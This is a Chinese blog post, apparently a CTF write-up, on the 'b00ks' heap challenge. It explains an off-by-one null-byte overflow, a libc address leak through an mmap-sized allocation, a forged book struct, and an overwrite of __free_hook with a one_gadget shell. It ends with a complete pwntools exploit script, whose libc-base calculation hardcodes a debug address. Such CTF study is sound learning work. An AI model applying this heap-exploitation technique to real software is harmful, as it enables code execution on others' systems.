美文网首页
b00ks writeup

b00ks writeup

作者: zs0zrc | 来源:发表于2018-05-06 15:08 被阅读134次

混子pwn手,最近在看堆的知识点,刚看完CTF-WiKi上的堆的基础知识,开始学习offbyone的利用
先介绍一下offbyone吧,offbyone是指单字节缓冲区溢出
offbyone形成原因:

  • 边界验证不严,使用循环语句向堆块中写入数据时,循环的次数设置错误导致多输入了一个字节
  • 字符串的操作不合适

接下来写下CTF-wiki上的b00ks的writeup,因为它上面并没有解题脚本,只介绍了利用方法,看得我这个菜狗有点小蒙,不过还好找到了大佬写的writeup 大佬writeup地址
下面主要是做点笔记

程序是一个菜单程序
它先让你输入author,然后打印菜单
它提供了6个功能

  1. create book
  2. delete book
  3. Edit a book
  4. print book detail
  5. change current author name
  6. exit

这个程序的漏洞在于它在修改author时,存在offbyone漏洞

image.png

这个b00k的结构体:

image.png

大概是这样子的:

struct b00k{
      int id;
      char *name;
      char *description
      int size;
}

观察ida反汇编的代码可以发现它对要创建b00k name和description的大小都 没有限制,所以可以创建一个很大的b00k

用gdb调试发现,author后面跟着b00k数组


image.png

0x0000555555758160是b00k数组的第一个指针,指向b00k1
只要先往author写入32个字节的内容,然后创建b00k1,在打印就可以泄露出b00k1的地址

这题要泄露出libc的地址,可以通过给b00k2分配一个很大的空间,然后泄露出b00k2的description的地址来计算出libc的地址

原理是:
   If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
计算方法:
libc_base = leak_b00k2_pointer - offset
offset是description地址到libc_base的偏移

计算出libc的基地址后,我们就可以通过 基地址+函数在libc中的偏移的方法获取需要的函数的地址
在这里用到的函数是__free_hook()和 execve("/bin/sh",null,environ)
只要将__free_hook()函数的内容修改为execve("/bin/sh",null,environ) 然后再free,只要__free_hook()的内容不为空,它就会去执行内容中的execve("/bin/sh",null,environ)

一些要注意的地方
1. __free_hook()是libc内存管理的钩子函数,允许程序员使用自己定义
的函数来free, 如果__free_hook()的内容不为空,就会执行内容所指
的函数,所以可以通过将__free_hook()函数的内容覆盖成我们想要执
行的函数,再通过free来执行

2. execve("/bin/sh",null,environ) 这个函数可以通过onegadget来找
到,可能找到几个,如果不行就多试几次

hook详情参考

onegadget

解题思路:

  1. 通过print 泄露处b00k1的地址,计算出b00k2的description的地址
  2. 通过edit,修改b00k1的description,在上面伪造b00k1,使其的name和description指针指向b00k2的description
  3. 通过修改author,向author写入32个'a',造成nulloffbyone,使b00k1的指针指向伪造的b00k1
  4. 通过 print 泄露处b00k2的description的地址,计算出libc_base
  5. 利用edit功能通过修改b00k1的description将b00k2的description地址修改为__free_hook()函数的地址,再用edit功能向b00k2的description写入execve("/bin/sh",null,environ) 的地址
  6. 最后通过delete功能将b00k2free掉就可以getshell

附上我写的exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"

def create_b00k(p,size):
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline("aaaa")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline("aaaa")
    log.info("create successfully!!!!")

def edit_b00k(p,payload,index):
    p.recv()
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(index))
    p.recvuntil(":")
    p.sendline(payload)
    log.info("edit successfully !!")
    
def change(p):
    p.recvuntil(">")
    p.sendline("5")
    p.recvuntil(":")
    p.sendline("a"*32)
    log.info("change successfully!!!!")

def memleak1(p):
    p.recv()
    p.sendline("4")
    p.recvuntil("Author: ")
    data = p.recvline()
    log.info(p.recvuntil(">"))
    data = data.split("a"*32)[1].strip("\n")
    addr = u64(data.ljust(8,"\x00"))
    return addr

def memleak2(p):
    p.recv()
    p.sendline("4")
    p.recvuntil("Name: ")
    data = p.recvline()
    data = data.strip("\n").ljust(8,"\x00")
    data = u64(data)
    log.info("leak b00k2 successsfully")
    return data

p = process("./b00ks")
libc = ELF("./libc.so.6")
p.recvuntil(":")
p.sendline('a'*32)
p.recvuntil(">")
create_b00k(p,140) #b00k1的大小不能太小,不然伪造的fake_b00k1就不能落在正确的地方,就不能被泄露出来

def release():
    p.sendline("2")
    log.info(p.recvuntil(":"))
    p.sendline("2")

log.info("********** leak b00ks1 pointer address **********")
addr = memleak1(p)
print "b00k1 pointer address is --> [%s]"%hex(addr)

log.info("********** edit fake_b00k1 ***********")
b00k2_p = addr + 0x38 #0x38 = 0x20 + 16 + 8  strut_size + chunk_header + sizeof(struct.size)
print "b00k2 pointer address --> [%s]"%hex(b00k2_p)
create_b00k(p,0x21000)
payload = 'a'*0x40 + p64(1) + p64(b00k2_p)*2 + p64(0xffff)
edit_b00k(p,payload,1)

log.info("*********** change author name ***********")
change(p)
addr1 = memleak2(p)
print "b00k2 pointer is --> [%s]"%hex(addr1)

log.info("*********** calculate libc_base **************")
gdb.attach(p)
pause()
offset = addr1 - 0x7ffff7a0d000
libc_base = addr1 - offset
print "libc_base address --> [%s]"%hex(libc_base)
free_hook = libc.symbols['__free_hook'] + libc_base
execve_addr = libc_base + 0x4526a #one_gadget libc.so.6

log.info("*******change description **********")
payload = p64(free_hook)*2
edit_b00k(p,payload,1)
payload = p64(execve_addr)
edit_b00k(p,payload,2)
release()
p.interactive()

相关文章

  • b00ks writeup

    混子pwn手,最近在看堆的知识点,刚看完CTF-WiKi上的堆的基础知识,开始学习offbyone的利用先介绍一下...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • heap off by one

    实例:Asis CTF 2016 b00ks程序分析: strlen不计算最后一个0,而strcpy会复制最后一个...

  • Behavioral Cloning

    Behavioral Cloning Writeup Template You can use this file...

  • Jarvis OJ PWN level6 WriteUp

    终于做完了自己在pwn方向的第一道堆题,参考了writeup1和writeup2怼了四天,终于理解了整道题目,本地...

  • writeup

    Web 签到题: 点开题目地址,网页上只有一行字,查看网页源码,得到flag 签到题2: 口令为11个字符,而输入...

  • writeup

    南京邮电大学网络攻防训练平台 web writeup 签到题: 查看源代码 就可以看到 flag:nctf{fla...

  • WriteUp

    Crypto base64? 第一眼看题目提示base64,马上就进行一波解码 一眼看过去,感觉是16进制,再转一...

  • bugku-web-writeup

    1.web基础$_GET writeup: 输入http://120.24.86.145:8002/get/?wh...

网友评论

      本文标题:b00ks writeup

      本文链接:https://www.haomeiwen.com/subject/oshurftx.html